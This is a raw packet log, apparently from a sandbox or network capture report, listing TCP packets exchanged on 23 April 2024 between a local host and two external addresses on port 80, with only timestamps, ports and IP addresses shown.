Apr 23, 2024 09:38:11.474482059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474493980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474498034 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474509954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474514008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474525928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474543095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474545002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474560022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474565029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474575996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474587917 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474591970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474602938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474606991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474622011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474627972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474639893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474643946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474654913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474659920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474669933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474675894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474684954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474689960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474701881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474705935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474718094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474723101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474735022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474740028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474750996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474756956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474766970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474771976 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474783897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474787951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474800110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474803925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474816084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474819899 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474833012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474837065 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474848032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474853992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474864960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474870920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474879980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474885941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474895954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474900961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474912882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474916935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474929094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474932909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474945068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474948883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474961042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474961996 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474976063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474977970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474991083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474992037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.475007057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.475014925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.475028992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.475044966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.517787933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.517821074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.517839909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.517858028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.517862082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.517877102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.517889023 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.517952919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.531722069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531739950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531754971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531771898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531788111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531805038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531821966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531838894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531920910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.531920910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.531920910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.531920910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.531953096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531970978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.531987906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532002926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532005072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532005072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532020092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532025099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532042980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532048941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532059908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532066107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532078028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532082081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532095909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532115936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532115936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532125950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532144070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532160044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.532203913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532203913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532218933 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.532218933 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.562788010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.562824011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.562841892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.562859058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.562866926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.562882900 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.562916994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.582811117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.582834005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.582850933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.582890034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.582932949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.582969904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.582987070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583002090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583014011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583019018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583035946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583046913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583050966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583069086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583077908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583086014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583101034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583106041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583116055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583126068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583132982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583148003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583148003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583165884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583173037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583183050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583188057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583199024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583215952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583218098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583229065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583241940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583246946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583266020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583266973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583283901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583292007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583301067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583301067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583317041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583318949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583333969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583338022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583350897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583352089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583367109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583383083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583373070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583395004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583400965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583403111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583417892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583420038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583435059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583441973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583451986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583452940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583468914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583477974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583484888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583487034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583501101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583506107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583518028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583520889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583534956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583539009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583551884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583554983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583568096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583575964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583585024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583585978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583601952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583604097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583620071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.583621979 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583638906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.583655119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.608942986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.608961105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.608975887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.608992100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609006882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609020948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609023094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609038115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609055042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609062910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609070063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609083891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609091043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609106064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609122038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609131098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609144926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609153032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609153032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609162092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609167099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609177113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609193087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609208107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609221935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609230042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609230042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609230042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609237909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609253883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609261990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609270096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609287024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609293938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609302998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609312057 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609318018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609333992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609349012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609358072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609366894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609378099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609378099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609381914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609399080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609405041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609415054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609430075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609447002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609452963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609452963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609462976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609473944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609477997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609493971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609499931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609509945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609518051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609525919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609541893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609541893 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609559059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609566927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609575987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609589100 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609591961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609607935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609615088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609622955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609636068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609638929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609654903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609662056 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609672070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609687090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609688997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609704971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609711885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609720945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609731913 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609736919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609754086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609759092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609770060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609781981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609786034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609802008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609812021 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609817982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609839916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609843969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609855890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609858036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609872103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609884024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609888077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609896898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609904051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609914064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609919071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609929085 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609935045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609951019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609960079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609966040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609976053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609982014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.609992981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.609998941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610014915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610029936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610039949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610044956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610055923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610060930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610069990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610076904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610094070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610097885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610110998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610121965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610129118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610146046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610150099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610162020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610173941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610177994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610193968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610200882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610208988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610224962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610229015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610240936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610244989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610255957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610268116 CEST	49735	80	192.168.2.4	185.172.128.228
